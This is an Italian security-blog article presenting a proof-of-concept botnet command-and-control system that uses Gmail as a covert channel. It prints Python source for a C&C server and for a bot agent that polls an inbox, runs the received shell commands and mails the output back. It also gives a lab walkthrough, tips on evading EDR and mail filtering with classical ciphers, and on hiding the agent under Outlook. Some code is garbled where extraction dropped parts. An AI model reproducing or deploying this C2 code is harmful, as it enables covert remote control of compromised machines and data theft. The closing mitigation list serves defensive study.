Giuseppe Longobardi : 17 Ottobre 2023 07:28
Prefazione: Come avevamo riportato qualche giorno fa, riportiamo la ricerca integrale svolta dal team di HackerHood – comprensiva di codice sorgente – per realizzare comunicazioni invisibili ai sistemi di sicurezza utilizzando Gmail come vettore di scambio di informazioni. Questa ricerca di Giuseppe Longobardi ha puramente lo scopo didattico di far comprendere che la logica Living off the Land (LotL) consente di poter utilizzare software attendibili per poter bypassare i sistemi di sicurezza. In questa ricerca viene sfruttato il canale attendibile Gmail per far dialogare un malware presente all’interno di una rete aziendale con un server di comando & controllo attestato sulla rete internet.
Oggi vedremo come con delle semplici email è possibile controllare milioni di computer, server, smartphone , stampanti e dispositivi IoT dalla panchina del parco.
Un’infrastruttura di Comando e Controllo (C&C, o Command and Control in inglese) rappresenta il cervello tattico dietro le reti di botnet e le attività malevole online. Essa funge da centro di coordinamento che permette agli attaccanti di comandare, controllare e recuperare dati dai sistemi compromessi noti anche come “bot”. In questo contesto, è fondamentale comprendere la complessità, la resilienza e le tecniche sofisticate che caratterizzano queste infrastrutture per poter sviluppare metodi di difesa efficaci.
Sei un Esperto di Formazione?
Entra anche tu nel Partner program!
Accedi alla sezione riservata ai Creator sulla nostra Academy e scopri i vantaggi riservati ai membri del Partner program.
Per ulteriori informazioni, scrivici ad [email protected] oppure su Whatsapp al 379 163 8765
Supporta RHC attraverso:
In questo articolo presenteremo un’architettura innovativa che permette di bypassare le principali misure di sicurezza più diffuse nelle aziende. Questo grazie allo sfruttamento di un canale di comunicazione autorevole e usato da miliardi di utenti che quindi non può essere bloccato nella sua fruizione.
Questo canale è chiaramente GMAIL,il quale ci permetterà di instaurare un canale criptato fra i bot ed i server C&C senza mai realmente far entrare in contatto diretto queste due entità. Sfrutteremo le email come fossero dei frame ethernet in una rete L2 fra i bot ed i server C&C, questo anche nel caso di bot a migliaia e migliaia di KM di distanza.
Progetteremo la struttura dati dei PDU e definiremo i criteri dei payload che potranno transitare sulla nostra rete L2, in questo scenario l’oggetto delle email diventerà l’header dei nostri pacchetti mentre il corpo delle email diventerà il campo dati dei nostri PDU. Tutto questo sarà protetto dai più elevati standard di crittografia messi in campo dal TLS, sul quale si basano le moderne implementazioni sicure di SMTP e IMAP.
Il traffico risultante sarà entropicamente equivalente a quello di una canonica email, dato che i comandi che i server C&C manderanno ai bot tramite le email non saranno altro che testo. Il problema però potrebbe essere un’eventuale censura da parte di google ma anche per questo abbiamo trovato una soluzione, la illustreremo facendo un autentico viaggio ai tempi dell’antica Roma. Capirete leggendo l’articolo.
L’architettura di un’infrastruttura C&C può variare notevolmente, in generale è composta da:
Server C&C: Il cuore dell’infrastruttura, responsabile per inviare comandi ai bot e ricevere dati da essi.
Bot: Sistemi infettati che eseguono i comandi del server C&C.
Canale di Comunicazione: Il mezzo attraverso il quale il server e i bot comunicano. Questo può essere fatto attraverso vari protocolli come HTTP, HTTPS, IRC, o altri.
Anonimato e Occultamento: Gli attaccanti utilizzano spesso tecniche come VPN, reti Tor o servizi di fast-flux per nascondere la posizione effettiva del server C&C. Tuttavia ad oggi la maggior parte delle tecniche possono essere identificate da NDR , Firewall, IPS, EDR ed altri sistemi di sicurezza dato che sono ormai note.
Polimorfismo e Offuscamento: Il codice malevolo può essere progettato per cambiare le proprie caratteristiche nel tempo, rendendo difficile la sua identificazione e rimozione. Ogni malware può essere identificato tramite una “firma”, questa se condivisa con gli altri organismi di CTI può portare all’identificazione dell’agent che infetta i bot. Per questo è bene prevedere una continua evoluzione del codice in modo da mutare ciclicamente la firma.
Punto a Punto e Topologie Distribuite: Anziché utilizzare un singolo server C&C, alcune reti utilizzano una topologia distribuita per resistere ai tentativi di smantellamento.
Ridondanza: Spesso, vi sono meccanismi di failover che permettono a un nuovo server C&C di prendere il controllo nel caso in cui il server primario sia compromesso.
Multi-Stage Payloads: Alcuni attacchi utilizzano payload in più fasi, dove un payload iniziale più semplice viene utilizzato per caricare codici più complessi e sofisticati una volta che il sistema è compromesso.Le infrastrutture C&C spesso non offrono una finestra di controllo completa sugli host, per via della loro natura stealth e poco invasiva. Per questo sono usate come punto di ingresso per poi installare backdoor, RAT o simili.
Ora che abbiamo descritto l’architettura classica di una infrastruttura C&C, analizziamo quella della nostra soluzione.
Come descritto nella sezione precedente, un infrastruttura C&C è composta da tre principali elementi: Il server C&C, i bot e il canale di comunicazione. Nella nostra architettura sia il server C&C che i client sono pilotati da semplici script scritti in Python, il canale di comunicazione è GMAIL. Si tenga presente che la scelta di GMAIL non costituisce in alcun modo un vincolo strutturale, qualsiasi provider di email può essere sfruttato come “VPN” una volta compresa l’idea alla base.
La scelta di usare le email come “protocollo di trasporto” è dettata dai seguenti motivi:
La nostra soluzione non ha un vero e proprio database dato che implicherebbe una maggiore complessità architetturale. Il nostro database sono le email di gmail, strutturate secondo il diagramma che segue. Ogni email quindi sarà un vero e proprio “record”.
La comunicazione tra Server e Zombies non è mai diretta, c’è sempre GMAIL nel mezzo. Per poter comunicare con gli Zombie non è necessario adoperare il Server C&C , basta semplicemente poter inviare una mail ad una certa casella di posta da un altra specifica casella di posta. Il Server C&C è solo un semplice script che permette di inviare delle email, quindi possiamo replicarlo con il nostro smartphone da qualsiasi luogo.
Uno dei problemi di questo processo potrebbe essere proprio GMAIL ma per rendere ridondante l’architettura nel caso in cui GMAIL blocchi gli account possiamo prevedere N Caselle Atte a inviare comandi ed N per inviare le risposte, anche di provider diversi.
Nel caso in cui GMAIl filtri le singole email possiamo trasmettere usando le crittografie storiche. Questo perché le crittografie storiche non introducono nuovi alfabeti, contenendo quindi l’entropia del testo. Potremmo usare quindi:
Contenere l’entropia è fondamentale perché permette di occultare le email dei server C&C e le response dei bot nei milioni di email inviate giornalmente. Quindi apparendo come mail legittime Google dovrebbe scavare su ogni singola email applicando algoritmi di brute-forcing per provare a decriptare eventuali stringhe criptate con crittografie storiche. In quel caso però se si aggiungessero più livello di crittografia, sempre di tipo storico, posso dire che a livello di complessità computazionale sarebbe quasi impossibile identificarci.
Questo era quello che intendevo con viaggo ai tempi dell’antica Roma.
Per questo laboratorio useremo 2 semplici macchine virtuali. Sulla macchina kali eseguiremo gli script che permetteranno di inviare i comandi alla rete di zombi (che sarà rappresentata da una macchina fisica windows 10 e da una macchina virtuale ubuntu).
Non abbiamo riportato gli IP né altri dettagli perché non è necessario conoscerli per poter comunicare con la rete, questo è un enorme vantaggio.
Si rammenta che il codice appena mostrato è solo una piccola parte della soluzione sviluppata, il suo uso all’infuori del perimetro accademico è SEVERAMENTE vietato.
La prima cosa da fare è predisporre due indirizzi email: uno servirà al server per comunicare i comandi alla botnet, l’altro servirà per raccogliere le risposte dalla rete di zombie.
Per poter inviare e leggere email da codice ci servirà generare una “password app” dal nostro account google, questa modalità di autenticazione ci fornirà un token che potremo usare come una sorta di “Api Key”. Per generare una password app fare riferimento alla guida ufficiale di google, disponibile qui.
Una volta pronte le due email e generate le password app, siamo pronti per iniziare a scrivere il codice del nostro Server C&C. Codice che potrebbe assomigliare a questo:
import smtplib
import imaplib
import argparse
import email
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import random
import re
def show_banner():
print(r"""
____ _ _ ____ ___ ____
/ ___|_ __ ___ __ _(_) | / ___( _ ) / ___|
| | _| '_ ` _ \ / _` | | | | | / _ \/\ |
| |_| | | | | | | (_| | | | | |__| (_> len(words):
return "Posizione non valida."
# Restituisce la parola alla posizione specificata, ricordando che l'indicizzazione delle liste in Python inizia da 0
return words[position - 1]
def send_message(source_email,destination_email,Subject,testo_messaggio,id_command,os_target,communication_type,remote_mac_address,host_group):
messaggio = MIMEMultipart()
messaggio['From'] = source_email
messaggio['To'] = destination_email
if communication_type == "broadcast":
messaggio['Subject'] = Subject + '_' + str(id_command) + '_' + str(os_target) + '_' + str(communication_type) + '_' + '0'
if communication_type == "multicast":
messaggio['Subject'] = Subject + '_' + str(id_command) + '_' + str(os_target) + '_' + str(communication_type) + '_' + str(host_group)
if communication_type == "unicast":
messaggio['Subject'] = Subject + '_' + str(id_command) + '_' + str(os_target) + '_' + str(communication_type) + '_' + str(remote_mac_address)
messaggio.attach(MIMEText(testo_messaggio, 'plain'))
# Invio del messaggio
try:
server.sendmail(source_email, destination_email, messaggio.as_string())
return True
except:
return False
def email_update(id_command):
mail = imaplib.IMAP4_SSL("imap.gmail.com")
# Autenticazione
mail.login(source_email, app_password)
# Seleziona la casella di posta
mail.select("inbox")
status, messages = mail.search(None, 'UNSEEN')
if status != "OK":
print("Research Error.")
return
# Ottieni la lista degli id dei messaggi
message_ids = messages[0].split()
for email_id in message_ids:
# Fetch del messaggio per ID
status, message_data = mail.fetch(email_id, "(RFC822)")
if status != "OK":
print("Mail fetching Error.")
return
# Estrai il corpo del messaggio
raw_email = message_data[0][1]
msg = email.message_from_bytes(raw_email)
subject_email = msg["Subject"]
# Verifica l'indirizzo email del mittente
from_address = msg["From"]
if address_filter not in from_address:
return
# Estrai e stampa il corpo del messaggio
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() == "text/plain":
try:
body = part.get_payload(decode=True)
print("Output Command n°",id_command," from: ",get_parameter_id(subject_email,4),"(",str(get_parameter_id(subject_email,3)),")","\n\n",body.decode("utf-8"))
except:
print("Output Visualization Error")
else:
body = msg.get_payload(decode=True)
print("Output Command n°",id_command," from: ",get_parameter_id(subject_email,4),"(",str(get_parameter_id(subject_email,3)),")","\n\n",body.decode("utf-8"))
def is_valid_mac_address(mac_address):
format = 0
# Regex per il formato con i due punti
regex_colon = re.compile(r'^([0-9A-Fa-f]{2}[:]){5}([0-9A-Fa-f]{2})$')
# Regex per il formato con i trattini
regex_dash = re.compile(r'^([0-9A-Fa-f]{2}[-]){5}([0-9A-Fa-f]{2})$')
if bool(regex_colon.match(mac_address)):
format = 1
if bool(regex_dash.match(mac_address)):
format = 2
return format
def convert_mac_format(mac_address_with_dash):
# Sostituisci ogni trattino '-' con due punti ':'
mac_address_with_colon = mac_address_with_dash.replace('-', ':')
return mac_address_with_colon
def parameters_validation(command,os_target,communication_type,remote_mac_address: str,host_group):
command = command.lower()
if os_target != None:
os_target = os_target.lower()
if communication_type != None:
communication_type = communication_type.lower()
mac_validity = True
if remote_mac_address != None:
remote_mac_address = remote_mac_address.lower()
mac_validity = is_valid_mac_address(remote_mac_address)
if mac_validity == 2:
remote_mac_address = convert_mac_format(remote_mac_address)
if host_group != None:
host_group = host_group.lower()
if command != "update":
if communication_type == "unicast" and remote_mac_address == None:
return "Mac Address (-m or --mac) is required in case of UNICAST communication type"
if communication_type == "multicast" and host_group == None:
return "Host Group (-g or --group) is required in case of MULTICAST communication type"
if os_target != "windows" and os_target != "linux":
return "The OS Can only be linux or windows"
if mac_validity == 0:
return "The Mac Address you entered does not have a valid syntax ( The format can be 00:B0:D0:63:C2:26 or 00-B0-D0-63-C2-26)"
return "pass"
def get_command_id():
current_time_seconds = time.time()
current_time_milliseconds = int(round(current_time_seconds * 1000))
return current_time_milliseconds
def main():
show_banner()
parser = argparse.ArgumentParser(description='Remote Shell')
parser.add_argument('-c', '--command', required=True, help='Command (The command to execute or type "update" to get command output from hosts)')
parser.add_argument('-o', '--os', required=False, help='Operative System (linux/windows)')
parser.add_argument('-t', '--type', required=False, help='type of communication (unicast/multicast/broadcast) ')
parser.add_argument('-m', '--mac', required=False, help='remote host mac address (Required only in case of Unicast) ')
parser.add_argument('-g', '--group', required=False, help='Group (Required only in case of Multicast) ')
args = parser.parse_args()
i = 0
command = args.command
os_target = args.os
communication_type = args.type
remote_mac_address = args.mac
host_group = args.group
testo_messaggio = command
id_command = get_command_id()
validity = parameters_validation(command,os_target,communication_type,remote_mac_address,host_group)
if validity != "pass":
print(validity)
else:
if testo_messaggio.lower() == 'update':
email_update(id_command-1)
else:
flag = send_message(source_email,destination_email,Subject,testo_messaggio,id_command,os_target,communication_type,remote_mac_address,host_group)
if (flag):
print("Command n°",id_command," Sent.")
i = i + 1
else:
print("Command n°",id_command," Not sent.")
# Chiusura della connessione
server.quit()
if __name__ == main:
main()
else:
main()
import smtplib, imaplib: Importa i moduli per operazioni SMTP e IMAP.
import argparse: Importa il modulo per la gestione degli argomenti della riga di comando.
from email.mime.text import MIMEText: Importa MIMEText per creare messaggi di testo MIME.
import time, random, re: Importa i moduli per gestire il tempo, numeri casuali e espressioni regolari.
source_email = “[email protected]”: Definisce l’email sorgente.
destination_email = “[email protected]”: Definisce l’email destinataria.
app_password = “password”: Definisce la password dell’app.
show_banner()
print(“ASCII Banner”): Stampa un banner ASCII.
get_parameter_id(input_string, position)
return input_string.split(“_”)[position]: Divide la stringa in input con il separatore “_” e ritorna l’elemento alla posizione specificata.
send_message(subject, message)
msg = MIMEText(message): Crea un nuovo messaggio MIME.
msg[‘Subject’] = subject: Imposta l’oggetto del messaggio.
server.sendmail(source_email, destination_email, msg.as_string()): Invia l’email.
email_update(id_command)
server = imaplib.IMAP4_SSL(“imap.gmail.com”): Inizializza una connessione IMAP sicura.
server.login(source_email, app_password): Esegue il login.
server.select(‘inbox’): Seleziona la casella di posta ‘inbox’.
…: (Altre operazioni IMAP per ottenere e filtrare i messaggi).
is_valid_mac_address(mac_address)
return bool(re.match(“^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$”, mac_address)): Utilizza una regex per verificare la validità dell’indirizzo MAC.
convert_mac_format(mac_address_with_dash)
return mac_address_with_dash.replace(‘-‘, ‘:’): Sostituisce i trattini con i due punti nell’indirizzo MAC.
parameters_validation(…)
…: Serie di controlli su argomenti e variabili per assicurare che siano validi.
get_command_id()
return str(int(time.time())) : Genera un ID unico basato sul tempo.
parser = argparse.ArgumentParser(…): Inizializza l’oggetto ArgumentParser.
parser.add_argument(…): Aggiunge argomenti che il programma accetterà.
args = parser.parse_args(): Analizza gli argomenti della riga di comando.
parameters_validation(…): Chiama la funzione per validare gli argomenti.
server = smtplib.SMTP(“smtp.gmail.com”, 587): Inizializza una connessione SMTP.
server.starttls(): Avvia la crittografia TLS.
server.login(source_email, app_password): Effettua il login al server SMTP.
if args.command == ‘update’: email_update(…): Se il comando è “update”, chiama la funzione email_update.
else: send_message(…): Altrimenti, chiama la funzione send_message per inviare il comando.
Predisponiamo adesso il codice del Client che riceverà i comandi dal Server C&C descritto nello step precedente.
import imaplib
import email
import time
import subprocess
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import socket
import platform
import uuid
import subprocess
from email.utils import parsedate_to_datetime
from datetime import datetime
import pytz
def show_banner():
print(r"""
____ _ _ ____ ___ ____
/ ___|_ __ ___ __ _(_) | / ___( _ ) / ___|
| | _| '_ ` _ \ / _` | | | | | / _ \/\ |
| |_| | | | | | | (_| | | | | |__| (_> len(words):
return "Not a valid index."
# Restituisce la parola alla posizione specificata, ricordando che l'indicizzazione delle liste in Python inizia da 0
return words[position - 1]
while True:
# Avvia sessione SMTP over TLS
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
mail = imaplib.IMAP4_SSL("imap.gmail.com")
mail.login(email_sorgente, app_password)
mail.select("inbox")
server.login(email_sorgente, app_password)
# Esegui una ricerca IMAP per ottenere solo i messaggi inviati dopo la data specificata
status, messages = mail.search(None, f'(SINCE "{start_date_str}")')
if status != "OK":
print("Research Error.")
exit()
# Ottieni la lista degli id dei messaggi
message_ids = messages[0].split()
# Scorri tutti gli ID dei messaggi
# ... (parte precedente del codice rimane invariata)
# Scorri tutti gli ID dei messaggi
for email_id in message_ids:
if email_id in messaggi_letti:
continue
# Fetch del messaggio per ID
status, message_data = mail.fetch(email_id, "(RFC822)")
if status != "OK":
print("Fetch Error")
continue
# Estrai il corpo del messaggio
raw_email = message_data[0][1]
msg = email.message_from_bytes(raw_email)
# Estrai e converte la data del messaggio
date_string = msg["Date"]
date_time_obj = parsedate_to_datetime(date_string).astimezone(italia_tz)
# Filtra i messaggi in base alla data e all'ora
if date_time_obj.replace(tzinfo=None) > start_datetime.replace(tzinfo=None):
raw_email = message_data[0][1]
msg = email.message_from_bytes(raw_email)
subject_email = msg["Subject"]
id_comando = get_parameters_from_email(subject_email,2)
msg_target_os = get_parameters_from_email(subject_email,3).lower()
msg_communication_type = get_parameters_from_email(subject_email,4).lower()
#It could be either a mac address or a group name, it depends on the communication type
msg_destination_id = get_parameters_from_email(subject_email,5).lower()
if msg_communication_type == "unicast":
msg_destination_id = convert_mac_format(msg_destination_id)
# Verifica l'indirizzo email del mittente
from_address = msg["From"]
if indirizzo_filtro not in from_address:
continue
if msg_target_os != os_info:
continue
#if msg communication type is not unicast and msg destination is not the mac of the machine drop the mail
if msg_communication_type == "unicast" and msg_destination_id != mac_address:
continue
if msg_communication_type == "multicast" and msg_destination_id != group:
continue
# Estrai e stampa il corpo del messaggio
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() == "text/plain":
try:
body = part.get_payload(decode=True)
print("Received Command:", body.decode("utf-8"))
output = esegui_comando(body.decode("utf-8"))
invia_messaggio(output,id_comando)
print("Command n°",id_comando," executed and feedback sent\n")
messaggi_letti.add(email_id)
except:
print("Errore nell'esecuzione del comando\n")
else:
body = msg.get_payload(decode=True)
print("Received Command:", body.decode("utf-8"))
time.sleep(10)
italia_tz = pytz.timezone(‘Europe/Rome’): Imposta il fuso orario su quello dell’Italia.
start_datetime = datetime.now(italia_tz): Ottiene la data e l’ora attuale nel fuso orario italiano.
start_date = start_datetime.date(): Estrae la data dalla data e ora completa.
start_date_str = start_date.strftime(“%d-%b-%Y”): Formatta la data in una stringa.
Subject = ‘Response’: Imposta l’oggetto dell’email di risposta.
def get_mac_address(): Ottiene l’indirizzo MAC della macchina.
def convert_mac_format(mac_address_with_dash): Converte l’indirizzo MAC in un formato standard.
def get_hostname(): Ottiene l’hostname della macchina.
def get_private_ip(): Ottiene l’indirizzo IP privato della macchina.
def get_os(): Ottiene il sistema operativo della macchina.
def execute_command(command): Esegue un comando sul sistema e restituisce l’output.
def send_message(message_text, command_id): Invia un messaggio contenente l’output di un comando eseguito.
def get_parameters_from_email(input_string, position): Estrae parametri specifici dall’oggetto di un’email.
status, messages = mail.search(None, f'(SINCE “{start_date_str}”)’): Cerca email inviate dopo una data specifica.
date_string = msg[“Date”]: Estrae la data dall’email.
date_time_obj = parsedate_to_datetime(date_string).astimezone(italia_tz): Converte la data in un oggetto datetime e la adatta al fuso orario italiano.
msg_target_os = get_parameters_from_email(subject_email,3).lower(): Estrae il sistema operativo target dall’oggetto dell’email.
msg_communication_type = get_parameters_from_email(subject_email,4).lower(): Estrae il tipo di comunicazione dall’oggetto dell’email.
msg_destination_id = get_parameters_from_email(subject_email,5).lower(): Estrae l’ID di destinazione dall’oggetto dell’email.
if msg_communication_type == “unicast” and msg_destination_id != mac_address: Filtra i messaggi se il tipo di comunicazione è “unicast” e l’ID di destinazione non corrisponde all’indirizzo MAC.
if msg_communication_type == “multicast” and msg_destination_id != group: Filtra i messaggi se il tipo di comunicazione è “multicast” e il gruppo di destinazione non corrisponde.
time.sleep(10): Mette in pausa l’esecuzione per 10 secondi prima di ripetere il ciclo.
Avviamo un client python (script descritto allo step 3) su una macchina ubuntu ed una macchina windows con il semplice comando “python3 Client.py”
Proviamo ad inviare un comando di broadcast a tutta la rete di macchine con OS di tipo Windows.
Visualizziamo la mail inviata dal server nella casella di posta designata che verrà letta dai client in polling ogni X secondi.
come possiamo verificare l’ID del comando è il medesimo e si può apprezzare l’header che segue questa struttura:
Request_{ID_COMMAND}_{OS_TYPE}_{COMMUNICATION_TYPE}_{IDENTITY_ID}
dove il command ID è la chiave primaria dei comandi impartiti e viene calcolata sulla base della data e ora attuale, il tipo di OS può essere “windows” o “linux”, il communication type può essere “unicast” , “multicast” o “broadcast”. L’Identity ID nel caso in cui la comunicazione sia unicast sarà il mac address, nel caso in cui sia multicast sarà il nome del gruppo mentre nel caso di broadcast sarà “0”. Nel corpo della mail ci sarà il payload, cioè il comando vero e proprio.
Quindi in questo scenario è come se l’oggetto della mail corrispondesse all’header di un PDU mentre il payload è il corpo della mail. GMAIL agisce come una sorta di VPN a livello 2, quindi logicamente è come se il server C&C e tutti gli host fossero connessi direttamente in locale ad uno switch. Il nostro switch è GMAIL.
Verifichiamo se il comando è stato recepito dall’agent sul bot.
Come possiamo verificare il client ha ricevuto il comando che ha impartito il nostro Server C&C. Notiamo dall’output che il client ha inoltrato anche il feedback del comando via mail.
Verifichiamo adesso se il client ha correttamente inoltrato una mail contenente il feedback del comando alla casella di posta designata.
Come possiamo agilmente verificare è stata inoltrata una mail con avente un oggetto strutturato secondo la seguente struttura dati:
Response_{ID_COMMAND}_{MAC_ADDRESS}_{HOSTNAME}_{PRIVATE_IP}_{OS_TYPE}
I campi non hanno bisogno di presentazioni.Questa email (o PDU a questo punto) può essere visualizzata anche sul server C&C. In realtà nell’infrastruttura completa (la versione completa di questo codice presentato nell’articolo) c’è una web app che permette di visualizzare tutto in tempo reale con anche la possibilità di censire i bot attivi e impartire comandi graficamente.
Vediamo adesso come visualizzare l’output del comando direttamente sul server C&C.
Come possiamo vedere stiamo correttamente visualizzando il contenuto delle nostre email (PDU) con annessi alcuni dettagli sui client che le hanno inviate.
Proviamo a creare un file sulla macchina di destinazione.
A questo punto viene inviata la mail ed il client ad un certo punto la leggerà.
Verifichiamo se il client ha correttamente elaborato la richiesta.
Come possiamo vedere il comando è stato correttamente ricevuto.
Inviamo nuovamente il comando “dir” per verificare se il file è stato creato e visualizziamo l’output del comando dalla shell del Server C&C
Come possiamo vedere il file è stato correttamente creato.
Chiaramente tutti i comandi che abbiamo inviato sino ad ora sono destinati a soli bot con OS windows, infatti proprio per questo ho introdotto l’opzione “-o” dato che in una botnet non possiamo impartire comandi non considerando il sistema operativo degli zombie. Per questo aprendo la finestra di output del client sulla macchina ubuntu, potremo visualizzare che nessun comando è stato recepito, proprio per la condizione “-o windows”.
Proviamo adesso a stampare la configurazione di rete su tutti gli host linux. Già da ora si apprezza l’utilità di filtrare i destinatari dei comandi in base all’OS, dato che su windows si usa “ipconfig” mentre su linux “ifconfig”.
Verifichiamo se il client ha effettivamente ricevuto il comando.
Come possiamo vedere tutto sembra funzionare correttamente.
Verifichiamo l’output dal server C&C
Come possiamo vedere abbiamo ricevuto tutto correttamente.
Questa era una PoC di una parte della soluzione, chiaramente non possiamo condividere tutto il software (creato per soli fini accademici e di ricerca). La scelta di non divulgare integralmente la soluzione è perché a differenza di altri codici condivisi in articoli simili, questo potrebbe arrecare danni molto più seri se usato per fini diversi dalla ricerca , quindi abbiamo preferito non esporlo completamente.
Vediamo di seguito alcune tecniche che potrebbero bloccare completamente (o parzialmente) la nostra infrastruttura C2. Chiaramente se si applicano ai messaggi le crittografie storiche, risulta quasi impossibile decriptarne in automatico il contenuto con le regole standard (soprattutto se sono presenti più livelli).
SSL/TLS Enforcement
Forzare l’uso di SSL o TLS garantirà che tutti i dati inviati tra il client e il server siano crittografati. Questo minimizza la possibilità di intercettazione del traffico. Questo può essere implementato a livello di server di posta e può anche essere forzato attraverso le politiche di gruppo su client aziendali.
Possibile minaccia mitigata: Anzichè usare delle email ad hoc si potrebbe iniettare del contenuto steganografico (ad esempio nelle immagini delle firme) per pilotare gli zombies da email legittime.
Endpoint Security Solutions
Le soluzioni EDR monitorano il comportamento del sistema in tempo reale. Possono identificare comportamenti come l’invio di dati ad indirizzi IP sconosciuti o l’esecuzione di payload sospetti, e bloccarli automaticamente.
Possibile minaccia mitigata: la nostra soluzione per poter funzionare ha bisogno degli agent installati sugli zombie. Questi agent potrebbero essere processi nascosti sotto un processo padre che è autorizzato a inviare mail (ad esempio outlook).
Analisi del Contenuto delle E-mail
Le soluzioni di sicurezza della posta elettronica come Secure Email Gateway (SEG) possono scansionare il contenuto delle e-mail in arrivo e in uscita per identificare comportamenti sospetti, come allegati malevoli o link dannosi.
Possibile minaccia mitigata: Questa potrebbe potenzialmente essere una bella gatta da pelare per la nostra soluzione, un SEG se ben configurato potrebbe bloccare la nostra infrastruttura.
Autenticazione a Due Fattori (2FA)
La 2FA aggiunge un ulteriore livello di sicurezza richiedendo non solo una password, ma anche un secondo fattore come un token hardware o un codice SMS. Questo rende molto più difficile per un attaccante compromettere un account.
Possibile minaccia mitigata: Nel caso in cui siano presenti delle regole che permettano solo ad alcune email in whitelist di inviare messaggi, un hacker potrebbe appropriarsi di email legittime attraverso alcuni attacchi e inviare i comandi da li.
Blacklist/Whitelist
Creando una blacklist di indirizzi IP o domini noti per essere malevoli, o una whitelist di indirizzi conosciuti come sicuri, è possibile ridurre la superficie di attacco.
Possibile minaccia mitigata: Nel caso in cui siano presenti delle regole che permettano solo ad alcune email in whitelist di inviare messaggi, un hacker potrebbe appropriarsi di email legittime attraverso alcuni attacchi e inviare i comandi da li.
Limitazione dei Privilegi
Applicare il principio del minimo privilegio implica che gli account e le applicazioni dovrebbero avere solo le autorizzazioni necessarie per eseguire le loro funzioni. Questo limita il danno che può essere fatto se un account viene compromesso.
Possibile minaccia mitigata: limitando i privilegi assegnati ad ogni macchina si limita notevolmente il possibile impatto di un infrastruttura C&C dato che gli utenti non hanno tutti i privilegi amministrativi.
Proxy con SSL Stripping
Un proxy con SSL Stripping funziona come un intermediario tra il client e il server, un autentico Man-in-the-Middle. Quando un utente tenta di accedere a un sito web tramite una connessione HTTPS sicura, il proxy interviene intercettando la richiesta. Invece di inoltrarla come richiesta HTTPS, il proxy la trasforma in una richiesta HTTP e la invia al server di destinazione. Chiaramente egual discorso per le email.
Il server, a meno che non sia configurato per rifiutare connessioni non sicure, risponderà come se si trattasse di una normale richiesta HTTP. A questo punto, il proxy riceve la risposta e la inoltra al client. Ora, tutte le comunicazioni tra il client e il server passeranno attraverso questo proxy, e poiché la connessione è stata degradata da HTTPS a HTTP, il proxy può vedere e manipolare tutti i dati in chiaro. Questo permetterà l’analisi delle email inviate anche se criptate.
Possibile minaccia mitigata: Questa potrebbe potenzialmente essere una bella gatta da pelare per la nostra soluzione, un proxy se ben configurato potrebbe bloccare la nostra infrastruttura.
Ad oggi abbiamo testato la soluzione completa (quindi con tutte le funzionalità stealth possibili) ed è risultata irrilevabile da 9 soluzioni su 10. Siamo riusciti a nascondere il processo come figlio del PPI di Outlook.